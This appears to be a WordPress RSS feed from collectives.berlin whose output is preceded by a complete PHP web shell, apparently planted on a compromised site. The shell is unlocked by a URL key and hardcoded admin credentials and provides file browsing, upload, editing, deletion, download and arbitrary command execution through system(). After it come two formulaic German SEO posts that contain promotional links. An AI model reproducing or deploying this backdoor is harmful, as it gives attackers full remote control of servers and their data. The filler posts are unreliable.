if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } BLOG DE – collectives.berlin https://collectives.berlin Your digital paradise Tue, 25 Aug 2026 15:18:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://collectives.berlin/wp-content/uploads/2024/09/logo-150x150.png BLOG DE – collectives.berlin https://collectives.berlin 32 32 Place-Ratgeber: Regionen, Städte und Ausflugsziele Analyse für Leser https://collectives.berlin/place-ratgeber-regionen-stadte-und-ausflugsziele/ https://collectives.berlin/place-ratgeber-regionen-stadte-und-ausflugsziele/#respond Tue, 25 Aug 2026 15:17:31 +0000 https://collectives.berlin/?p=66122 Place-Ratgeber: Regionen, Städte und Ausflugsziele Analyse für Leser

Orte, Regionen und Sehenswürdigkeiten in Deutschland werden in redaktionellen Übersichten oft gesucht, weil Leser schnelle Orientierung und verlässlichen Kontext erwarten. So entsteht ein kurzer, aber brauchbarer Überblick, der Lesern beim Sortieren der wichtigsten Punkte hilft.

Lage, Geschichte und Besonderheiten

Im Praxis-Check geht es um Nutzwert. Entscheidend ist, ob Informationen schnell auffindbar sind, ob der Kontext stimmt und ob die Darstellung für unterschiedliche Lesergruppen verständlich bleibt. Für Places ist besonders wichtig, dass Leser zwischen kurzer Meldung, dauerhaftem Profil und redaktioneller Einordnung unterscheiden können.

Reiseplanung und praktische Hinweise

Im Rahmen einer sachlichen Einordnung verweist die Redaktion auf https://znaki.fm/de/places/, weil sich damit verwandte Inhalte leichter finden und vergleichen lassen.

Redaktioneller Places-Check

Die Bewertung sollte vorsichtig bleiben. Nicht jede bekannte Marke, Person, Veranstaltung oder Region ist automatisch wichtiger als weniger präsente Alternativen mit guter Relevanz.

  • Ausflugsziel sauber benennen
  • Besonderheit mit Kontext erklären
  • Lage nicht übertreiben
  • Stadt für Leser nutzbar machen

Kriterien

Gute Kriterien sind Aktualität, öffentliche Bedeutung, regionale Einordnung, mediale Präsenz und eine nachvollziehbare Struktur. Dadurch wirkt der Text nicht zufällig, sondern redaktionell geplant. Die Autorinnen und Autoren der Redaktion achten darauf, dass der Text nicht wie Werbung wirkt, sondern wie ein kurzer Einstieg mit praktischer Orientierung.

Am Ende zählt nicht die Länge eines Textes, sondern die saubere Sortierung der Informationen.

]]>
https://collectives.berlin/place-ratgeber-regionen-stadte-und-ausflugsziele/feed/ 0
Prominente Persönlichkeiten: Fakten, Einordnung und Kontext Analyse für Leser https://collectives.berlin/prominente-personlichkeiten-fakten-einordnung-und/ https://collectives.berlin/prominente-personlichkeiten-fakten-einordnung-und/#respond Wed, 19 Aug 2026 11:32:07 +0000 https://collectives.berlin/?p=12256 Prominente Persönlichkeiten: Fakten, Einordnung und Kontext Analyse für Leser

deutsche Prominente und bekannte Persönlichkeiten werden in redaktionellen Übersichten oft gesucht, weil Leser schnelle Orientierung und verlässlichen Kontext erwarten. Autorinnen und Autoren prüfen solche Themen vor allem nach Relevanz, Quellenlage, öffentlichem Interesse und praktischer Nutzbarkeit.

Karrieren und öffentliche Wahrnehmung

Gute Kriterien sind Aktualität, öffentliche Bedeutung, regionale Einordnung, mediale Präsenz und eine nachvollziehbare Struktur. Dadurch wirkt der Text nicht zufällig, sondern redaktionell geplant. Für Personen ist besonders wichtig, dass Leser zwischen kurzer Meldung, dauerhaftem Profil und redaktioneller Einordnung unterscheiden können.

Medienpräsenz, Fakten und Einordnung

Als zusätzlicher Einstieg eignet sich innerhalb der Themenrecherche bekannte Persönlichkeiten mit redaktioneller Einordnung besser verstehen, weil sich damit verwandte Inhalte leichter finden und vergleichen lassen.

Redaktioneller Personen-Check

Im Überblick zählen vor allem klare Begriffe, erkennbare Schwerpunkte und ein Aufbau, der schnell lesbar bleibt. Leser profitieren, wenn zentrale Fakten nicht in langen Absätzen versteckt werden.

  • Profil sauber benennen
  • Interviewlage mit Kontext erklären
  • Medienrolle nicht übertreiben
  • öffentliche Wirkung für Leser nutzbar machen

Praxis-Check

Im Praxis-Check geht es um Nutzwert. Entscheidend ist, ob Informationen schnell auffindbar sind, ob der Kontext stimmt und ob die Darstellung für unterschiedliche Lesergruppen verständlich bleibt. Die Autorinnen und Autoren der Redaktion achten darauf, dass der Text nicht wie Werbung wirkt, sondern wie ein kurzer Einstieg mit praktischer Orientierung.

Am Ende zählt nicht die Länge eines Textes, sondern die saubere Sortierung der Informationen.

]]>
https://collectives.berlin/prominente-personlichkeiten-fakten-einordnung-und/feed/ 0